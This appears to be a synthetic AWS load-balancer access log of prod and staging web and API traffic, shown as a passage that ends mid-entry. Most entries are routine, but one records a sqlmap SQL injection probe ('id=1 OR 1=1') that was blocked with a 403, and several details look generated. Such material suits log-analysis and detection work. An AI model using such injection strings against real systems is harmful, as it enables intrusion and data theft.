"Root=1-6723b7d5-79ef15374d3540efb3c2c53b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:01:09.963283Z "forward" "-" "-" "10.0.9.235:443" "302" "-" "-" +https 2024-11-01T00:01:10.347373Z staging-alb 120.98.238.48:13501 160.118.183.103:80 0.101718 0.584204 0.147437 404 404 268 487 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7d6-fe14a0d8196445828bfc4b48" "staging-alb.example.com" "-" 5 2024-11-01T00:01:10.347373Z "forward" "-" "-" "160.118.183.103:80" "404" "-" "-" +https 2024-11-01T00:01:11.682789Z prod-web-alb 243.180.74.69:27568 10.0.26.17:443 0.023890 0.225259 0.073347 302 302 466 4144 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7d7-a731039eb4584f4090e92e65" "prod-web-alb.example.com" "-" 8 2024-11-01T00:01:11.682789Z "forward" "-" "-" "10.0.26.17:443" "302" "-" "-" +https 2024-11-01T00:01:12.574509Z staging-alb 136.111.137.20:56815 10.109.139.78:80 0.003614 0.493197 0.002774 200 200 949 12447 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7d8-aad3ff80d5bc40ab899587fb" "staging-alb.example.com" "-" 1 2024-11-01T00:01:12.574509Z "forward" "-" "-" "10.109.139.78:80" "200" "-" "-" +https 2024-11-01T00:01:14.534454Z prod-web-alb 93.79.106.151:39502 10.0.123.42:443 0.006318 0.083029 0.068773 302 302 243 10269 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7da-8cdfa46c02c24fab86e6ea05" "prod-web-alb.example.com" "-" 8 2024-11-01T00:01:14.534454Z "forward" "-" "-" "10.0.123.42:443" "302" "-" "-" +https 2024-11-01T00:01:15.086465Z prod-api-alb 239.228.188.200:10550 10.0.251.167:443 0.024431 0.128431 0.053200 200 200 852 10750 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7db-f17d69dce86d44edb2a3b212" "prod-api-alb.example.com" "-" 7 2024-11-01T00:01:15.086465Z "forward" "-" "-" "10.0.251.167:443" "200" "-" "-" +https 2024-11-01T00:01:16.059120Z staging-alb 231.82.161.232:15747 24.189.215.184:8080 0.049920 0.691292 0.043810 302 302 757 8476 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7dc-ff6506035dfe4914b2f7890e" "staging-alb.example.com" "-" 6 2024-11-01T00:01:16.059120Z "forward" "-" "-" "24.189.215.184:8080" "302" "-" "-" +https 2024-11-01T00:01:16.516418Z prod-api-alb 169.107.16.130:63312 10.0.241.137:443 0.062159 0.442662 0.036409 200 200 932 9531 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7dc-7bbb06bf3c0d422990df07f4" "prod-api-alb.example.com" "-" 3 2024-11-01T00:01:16.516418Z "forward" "-" "-" "10.0.241.137:443" "200" "-" "-" +https 2024-11-01T00:01:16.742588Z staging-alb 24.237.2.103:13131 244.93.208.206:8080 0.114812 0.041141 0.136117 200 200 867 14217 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7dc-15be2c4de3c04f998a0a42e4" "staging-alb.example.com" "-" 7 2024-11-01T00:01:16.742588Z "forward" "-" "-" "244.93.208.206:8080" "200" "-" "-" +http 2024-11-01T00:01:17.185453Z staging-alb 12.8.193.245:37889 251.185.3.32:443 0.118941 0.156405 0.079379 200 200 794 14237 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7dd-90a9151546f545aeb8925ed0" "staging-alb.example.com" "-" 9 2024-11-01T00:01:17.185453Z "forward" "-" "-" "251.185.3.32:443" "200" "-" "-" +https 2024-11-01T00:01:18.320777Z prod-web-alb 98.183.71.207:36822 10.0.120.83:443 0.017905 0.449076 0.054034 404 404 297 6471 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7de-d9da791bf1ba44a6868888bb" "prod-web-alb.example.com" "-" 10 2024-11-01T00:01:18.320777Z "forward" "-" "-" "10.0.120.83:443" "404" "-" "-" +https 2024-11-01T00:01:19.957193Z prod-web-alb 159.228.192.100:57166 10.0.199.221:443 0.001853 0.473414 0.063600 200 200 127 1712 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7df-4476e59b8b8b49e0b5187ff1" "prod-web-alb.example.com" "-" 1 2024-11-01T00:01:19.957193Z "forward" "-" "-" "10.0.199.221:443" "200" "-" "-" +https 2024-11-01T00:01:21.021008Z prod-api-alb 111.130.107.153:24664 10.0.129.252:443 0.014330 0.393064 0.021006 200 200 407 11395 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7e1-fae3145e30af4207981a69eb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:01:21.021008Z "forward" "-" "-" "10.0.129.252:443" "200" "-" "-" +https 2024-11-01T00:01:21.620089Z prod-api-alb 0.137.205.38:14873 10.0.98.48:443 0.010388 0.312544 0.005933 200 200 763 396 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e1-36f7f692d8784747b810e0e2" "prod-api-alb.example.com" "-" 7 2024-11-01T00:01:21.620089Z "forward" "-" "-" "10.0.98.48:443" "200" "-" "-" +https 2024-11-01T00:01:21.728023Z prod-api-alb 168.206.222.227:55672 10.0.235.100:443 0.023906 0.363577 0.078329 200 200 796 7107 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e1-38d3a5d651be4097b8249206" "prod-api-alb.example.com" "-" 1 2024-11-01T00:01:21.728023Z "forward" "-" "-" "10.0.235.100:443" "200" "-" "-" +https 2024-11-01T00:01:22.135521Z staging-alb 64.6.44.69:29957 158.54.83.161:8080 0.022720 0.615320 0.074240 200 200 825 14237 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7e2-8f18ccfe3e324254b3c83f76" "staging-alb.example.com" "-" 6 2024-11-01T00:01:22.135521Z "forward" "-" "-" "158.54.83.161:8080" "200" "-" "-" +https 2024-11-01T00:01:22.433667Z staging-alb 207.113.152.5:31958 202.94.117.164:80 0.073736 0.145003 0.134940 200 200 800 8388 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7e2-883e872035ae403e92969b62" "staging-alb.example.com" "-" 9 2024-11-01T00:01:22.433667Z "forward" "-" "-" "202.94.117.164:80" "200" "-" "-" +https 2024-11-01T00:01:23.953156Z prod-api-alb 222.154.147.175:23499 10.0.164.49:443 0.071416 0.200602 0.066052 301 301 61 359 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e3-de40fff1f4ea4b0ba27f9cd5" "prod-api-alb.example.com" "-" 1 2024-11-01T00:01:23.953156Z "forward" "-" "-" "10.0.164.49:443" "301" "-" "-" +https 2024-11-01T00:01:25.695238Z prod-web-alb 168.18.121.21:44900 10.0.16.110:443 0.021741 0.089840 0.047573 302 302 767 7474 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7e5-56a9f3f1da5f45f8b5b3af2f" "prod-web-alb.example.com" "-" 7 2024-11-01T00:01:25.695238Z "forward" "-" "-" "10.0.16.110:443" "302" "-" "-" +https 2024-11-01T00:01:26.101545Z prod-web-alb 72.128.65.153:28317 10.0.186.113:443 0.025911 0.221556 0.007234 404 404 912 14314 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7e6-44ff9cffa7b840c7a67da48e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:01:26.101545Z "forward" "-" "-" "10.0.186.113:443" "404" "-" "-" +http 2024-11-01T00:01:26.380519Z staging-alb 163.145.158.87:54825 15.199.132.129:8080 0.005523 0.058043 0.006978 404 404 503 2492 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7e6-274eade6e8574a09935dbda5" "staging-alb.example.com" "-" 3 2024-11-01T00:01:26.380519Z "forward" "-" "-" "15.199.132.129:8080" "404" "-" "-" +https 2024-11-01T00:01:28.214023Z staging-alb 82.239.203.183:19991 251.18.13.163:80 0.009876 0.206238 0.064983 301 301 489 11568 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7e8-d4d7cfa799d643d88ea1a93c" "staging-alb.example.com" "-" 6 2024-11-01T00:01:28.214023Z "forward" "-" "-" "251.18.13.163:80" "301" "-" "-" +https 2024-11-01T00:01:29.174594Z prod-api-alb 87.3.208.5:28987 10.0.190.46:443 0.046149 0.344764 0.006010 200 200 806 6016 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7e9-87fc113d55494178b81a0247" "prod-api-alb.example.com" "-" 6 2024-11-01T00:01:29.174594Z "forward" "-" "-" "10.0.190.46:443" "200" "-" "-" +https 2024-11-01T00:01:29.757271Z staging-alb 34.77.69.176:13639 227.105.244.214:80 0.076130 0.700739 0.051921 200 200 846 12621 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7e9-b3955bab62b3445994cdc3ab" "staging-alb.example.com" "-" 10 2024-11-01T00:01:29.757271Z "forward" "-" "-" "227.105.244.214:80" "200" "-" "-" +https 2024-11-01T00:01:30.757643Z staging-alb 115.44.42.244:34952 204.164.2.179:443 0.015286 0.662100 0.017126 301 301 528 13442 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7ea-dc15f51887e649cd8ff3632a" "staging-alb.example.com" "-" 1 2024-11-01T00:01:30.757643Z "forward" "-" "-" "204.164.2.179:443" "301" "-" "-" +https 2024-11-01T00:01:32.080153Z prod-web-alb 156.216.187.8:24092 10.0.31.166:443 0.080617 0.114824 0.011444 200 200 431 3679 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7ec-d70bacf75b0640f2b5de30dd" "prod-web-alb.example.com" "-" 8 2024-11-01T00:01:32.080153Z "forward" "-" "-" "10.0.31.166:443" "200" "-" "-" +https 2024-11-01T00:01:34.049685Z prod-api-alb 233.156.32.109:13821 10.0.239.5:443 0.052634 0.099025 0.053676 200 200 545 3481 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ee-36c3e96b55d14b8591b1ef50" "prod-api-alb.example.com" "-" 3 2024-11-01T00:01:34.049685Z "forward" "-" "-" "10.0.239.5:443" "200" "-" "-" +https 2024-11-01T00:01:34.193136Z prod-web-alb 88.83.146.58:36301 10.0.54.7:443 0.010530 0.260617 0.071637 404 404 934 3533 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7ee-21aa840a0f734cb4b5b9d82b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:01:34.193136Z "forward" "-" "-" "10.0.54.7:443" "404" "-" "-" +https 2024-11-01T00:01:35.637184Z prod-api-alb 248.226.214.114:19657 10.0.65.52:443 0.082586 0.270212 0.006175 200 200 357 10275 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7ef-fe7f315dcaab4f6286ea0015" "prod-api-alb.example.com" "-" 9 2024-11-01T00:01:35.637184Z "forward" "-" "-" "10.0.65.52:443" "200" "-" "-" +https 2024-11-01T00:01:37.125068Z staging-alb 102.194.224.238:52697 20.46.18.120:80 0.138221 0.473239 0.017362 200 200 247 11593 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7f1-cd4ae06b67c146f8884bdbf8" "staging-alb.example.com" "-" 10 2024-11-01T00:01:37.125068Z "forward" "-" "-" "20.46.18.120:80" "200" "-" "-" +https 2024-11-01T00:01:38.185430Z prod-web-alb 66.8.16.212:33441 10.0.142.208:443 0.006351 0.323391 0.042046 200 200 858 3632 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7f2-3fa8942035c54d01b3e5dcd5" "prod-web-alb.example.com" "-" 9 2024-11-01T00:01:38.185430Z "forward" "-" "-" "10.0.142.208:443" "200" "-" "-" +http 2024-11-01T00:01:39.665822Z staging-alb 201.142.73.136:26195 207.33.233.229:80 0.024260 0.300486 0.146860 301 301 892 5529 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7f3-f18452671ff74e2b83a0b929" "staging-alb.example.com" "-" 6 2024-11-01T00:01:39.665822Z "forward" "-" "-" "207.33.233.229:80" "301" "-" "-" +https 2024-11-01T00:01:40.743108Z prod-api-alb 228.224.83.3:38237 10.0.16.154:443 0.079229 0.215605 0.098937 200 200 692 11301 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7f4-ddb70fce3ca24cb3961222ed" "prod-api-alb.example.com" "-" 8 2024-11-01T00:01:40.743108Z "forward" "-" "-" "10.0.16.154:443" "200" "-" "-" +https 2024-11-01T00:01:42.123212Z staging-alb 218.62.139.43:27307 184.138.97.222:443 0.133821 0.049534 0.110768 404 404 695 3854 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7f6-2d38f82ab9e549219d54564a" "staging-alb.example.com" "-" 4 2024-11-01T00:01:42.123212Z "forward" "-" "-" "184.138.97.222:443" "404" "-" "-" +https 2024-11-01T00:01:43.494971Z prod-web-alb 234.235.142.18:41832 10.0.60.161:443 0.095387 0.395132 0.041626 200 200 39 5984 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7f7-2706e9b174444ef0be46e8d3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:01:43.494971Z "forward" "-" "-" "10.0.60.161:443" "200" "-" "-" +https 2024-11-01T00:01:45.359128Z prod-api-alb 174.48.74.233:22400 10.0.216.84:443 0.037409 0.304279 0.099830 200 200 659 10653 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7f9-4173be0eb48e46b78b3ce996" "prod-api-alb.example.com" "-" 8 2024-11-01T00:01:45.359128Z "forward" "-" "-" "10.0.216.84:443" "200" "-" "-" +https 2024-11-01T00:01:47.055845Z prod-web-alb 80.149.41.58:32587 10.0.208.90:443 0.081112 0.356196 0.075840 302 302 406 210 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7fb-1c56a78418854cac95e4771e" "prod-web-alb.example.com" "-" 5 2024-11-01T00:01:47.055845Z "forward" "-" "-" "10.0.208.90:443" "302" "-" "-" +https 2024-11-01T00:01:47.237639Z prod-web-alb 120.126.103.30:27807 10.0.213.185:443 0.092233 0.015254 0.054727 404 404 416 14225 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7fb-984315f116c74e8397b7c7d7" "prod-web-alb.example.com" "-" 0 2024-11-01T00:01:47.237639Z "forward" "-" "-" "10.0.213.185:443" "404" "-" "-" +https 2024-11-01T00:01:48.307630Z staging-alb 133.11.76.87:47474 233.141.86.254:8080 0.079626 0.433994 0.142509 200 200 5 4600 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7fc-da53ccc292734c9c8d920a73" "staging-alb.example.com" "-" 3 2024-11-01T00:01:48.307630Z "forward" "-" "-" "233.141.86.254:8080" "200" "-" "-" +https 2024-11-01T00:01:49.004378Z staging-alb 118.119.230.150:14453 246.233.182.32:443 0.005452 0.527230 0.112398 404 404 755 4457 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7fd-e790502a53404106bb5b4fb0" "-" "-" 3 2024-11-01T00:01:49.004378Z "forward" "-" "-" "246.233.182.32:443" "404" "-" "-" +https 2024-11-01T00:01:50.756845Z prod-web-alb 185.181.118.169:51836 10.0.104.66:443 0.058661 0.457214 0.052897 403 403 689 14905 "POST /users?id=1 OR 1=1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7fe-17553a9e16544a1e825a3884" "-" "-" 1 2024-11-01T00:01:50.756845Z "forward" "-" "-" "10.0.104.66:443" "403" "-" "-" +https 2024-11-01T00:01:52.442501Z prod-web-alb 94.21.61.54:56041 10.0.50.144:443 0.005391 0.354855 0.074968 302 302 519 13329 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b800-634e6248f73748298a3a2a08" "prod-web-alb.example.com" "-" 0 2024-11-01T00:01:52.442501Z "forward" "-" "-" "10.0.50.144:443" "302" "-" "-" +https 2024-11-01T00:01:52.562953Z prod-api-alb 188.154.181.143:42304 10.0.135.194:443 0.014781 0.340214 0.058899 200 200 219 730 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b800-16b42485c32e465182e28741" "prod-api-alb.example.com" "-" 7 2024-11-01T00:01:52.562953Z "forward" "-" "-" "10.0.135.194:443" "200" "-" "-" +https 2024-11-01T00:01:53.389893Z staging-alb 154.236.181.182:35381 195.168.156.31:80 0.047141 0.693222 0.121089 200 200 234 14178 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b801-5bc0566688444ab1b5c5d6f1" "staging-alb.example.com" "-" 6 2024-11-01T00:01:53.389893Z "forward" "-" "-" "195.168.156.31:80" "200" "-" "-" +https 2024-11-01T00:01:54.660509Z prod-api-alb 218.222.204.131:42898 10.0.116.213:443 0.058083 0.131883 0.023119 302 302 789 8821 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b802-ec0be13cdbf54273ae7d6dc8" "prod-api-alb.example.com" "-" 1 2024-11-01T00:01:54.660509Z "forward" "-" "-" "10.0.116.213:443" "302" "-" "-" +https 2024-11-01T00:01:54.872527Z prod-api-alb 175.183.120.17:13481 10.0.15.219:443 0.020551 0.239519 0.092005 301 301 993 14571 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b802-c823294def5c4977946a6e97" "prod-api-alb.example.com" "-" 4 2024-11-01T00:01:54.872527Z "forward" "-" "-" "10.0.15.219:443" "301" "-" "-" +https 2024-11-01T00:01:55.992365Z prod-web-alb 105.82.84.95:20277 10.0.70.39:443 0.083524 0.263981 0.051388 200 200 948 2906 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b803-9886ff96a9fc426bba443094" "prod-web-alb.example.com" "-" 1 2024-11-01T00:01:55.992365Z "forward" "-" "-" "10.0.70.39:443" "200" "-" "-" +https 2024-11-01T00:01:57.460768Z prod-web-alb 254.250.250.20:51588 10.0.113.248:443 0.016862 0.046506 0.076072 302 302 173 3991 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b805-ee503bc6966f48dcb52686d2" "-" "-" 4 2024-11-01T00:01:57.460768Z "forward" "-" "-" "10.0.113.248:443" "302" "-" "-" +http 2024-11-01T00:01:58.139085Z staging-alb 